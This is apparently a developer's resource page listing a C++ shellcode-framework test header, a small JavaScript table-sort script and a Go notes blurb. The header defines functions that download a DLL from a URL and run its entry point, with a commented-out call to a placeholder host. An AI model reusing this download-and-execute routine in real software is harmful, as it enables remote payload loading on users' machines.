- 博客(0)
- 资源 (13)
- 收藏
- 关注
ShellCodeUtil_Test bin
/*****************************************************************
文件名 : ShellCodeMainTest.hpp
描述 :
作者 : liqi09
最后修改日期 : 2015-05-13 16:17
修改人 :
最后修改日期 :
修改描述 :
Copyright (C) All Rights Reserved
*****************************************************************/
#ifndef __SHELLCODEMAINTEST_HPP__
#define __SHELLCODEMAINTEST_HPP__
#include "Extend/ShellCodeApiDefine.h"
#include "Extend/asyc.h"
void FunctionTest()
{
char szBuffer[20];
strcpy(szBuffer, S("CopyBuffer"));
Trace(szBuffer);
Trace(S("%s"), S("Trace init ok!"));
Trace(S("wsprintfA EatAddr:%p ProcAddr:%p"), EatAddr("user32", "wsprintfA"), ProcAddr("user32", "wsprintfA"));
MsvcrtCall(printf, S("%s"), S("printf init ok!\n"));
MsvcrtCall(printf, S("cmdline:%s\n"), Fun("kernel32", GetCommandLineA)());
Kernel32Call(WinExec, S("notepad.exe"), SW_SHOW);
MsvcrtCall(system, S("pause"));
}
class CClassTest
{
public:
CClassTest(){
Trace(S("CTest"));
}
~CClassTest(){
Trace(S("~CTest"));
}
void Function1(){
Trace(S("Function1"));
}
};
BOOL LoadUrlDll(PCHAR url, PCHAR proc)
{
char szFile[MAX_PATH];
BOOL bOk = FALSE;
HRESULT hRes = URLDownloadToCacheFileA(NULL, url, (LPTSTR)szFile, MAX_PATH, NULL, NULL);
if (hRes == S_OK)
{
Trace(S("download ok! %s"), szFile);
HMODULE hModule = LoadLibraryA(szFile);
if (hModule)
{
FARPROC Entry = GetProcAddress(hModule, proc);
if (Entry)
{
Entry();
bOk = TRUE;
}
FreeLibrary(hModule);
}
}
return bOk;
}
BOOL LoadUrlDllAsyc(PCHAR url, PCHAR proc)
{
char szFile[MAX_PATH];
BOOL bOk = FALSE;
HRESULT hRes = URLDownloadToCacheFileA(NULL, url, (LPTSTR)szFile, MAX_PATH, NULL, NULL);
if (hRes == S_OK)
{
Trace(S("download ok! %s"), szFile);
HMODULE hModule = AsycLoadLibrary(szFile, TRUE, NULL);
if (hModule)
{
FARPROC Entry = AsycGetProcAddress(hModule, proc);
if (Entry)
{
Entry();
bOk = TRUE;
}
AsycFreeLibrary(hModule, TRUE);
}
}
return bOk;
}
void ShellCodeMain()
{
CClassTest t;
t.Function1();
FunctionTest();
//下载dll并内存加载,太过邪恶,先注掉。。
//LoadUrlDllAsyc(S("http://xxx.com.cn/test/TestDll.dll"), S("Entry"));
}
#endif // __SHELLCODEMAINTEST_HPP__
2015-06-16
html table表单排序bydarkst_sort.js
项目需要html表格有排序的功能,网上找了好多都不合适,而且用起来很麻烦,要加各种id, onclik,colum_index之类的,甚是麻烦,不就排个序嘛,还得话花时间学习怎么用你的js,学完发现还是有BUG..
于是自己写了一个,50行代码左右,自己用的爽歪歪,支持chorme,ie其他的没环境测试。如有发现BUG请告知,谢谢!
/**************************************************************************************************
JS排序表格,您只需要在原本的html中添加一句
Auteror: BYDARKST
mailto: [email protected]
始终坚持用最简单的思路,最简洁的写法,打造效率更高,易用性更高的软件!
****************************************************************************************************/
//一句话调用,自动搜索所有table的所有列可排序,支持日期,支持 存在或不存在
window.onload = function(){RegisterAllTableSort(-1);}
//接口1:设置id 为tableid的表格第 col 列可排序,col为-1时自动选取所有列
function RegisterTableSortById(tableid, col){
RegisterTableSort(document.getElementById(tableid), col)
}
//接口2:自动设置所有table的 col 列可排序
function RegisterAllTableSort(col){
var tableNodes = document.getElementsByTagName("table");
for(var i=0; i<tableNodes.length; i++)
RegisterTableSort(tableNodes[i], col);
}
//接口3:立即对 tableid 的col 列进行排序
function SortTableNow(tableid, col){
SortTableByCol(document.getElementById(tableid), col);
}
2014-03-07
Go+学习笔记 超清版
很难得的GO语言知识点分析文档,超级详细,本人是在走路的过程中读完第一遍的,吸引力堪比C++中的《windows核心编程》。
从基本类型到高级特性到源码分析,值得反复阅读借鉴。
只能说 it's professional, really very very good!
2014-01-08
空空如也
TA创建的收藏夹 TA关注的收藏夹
TA关注的人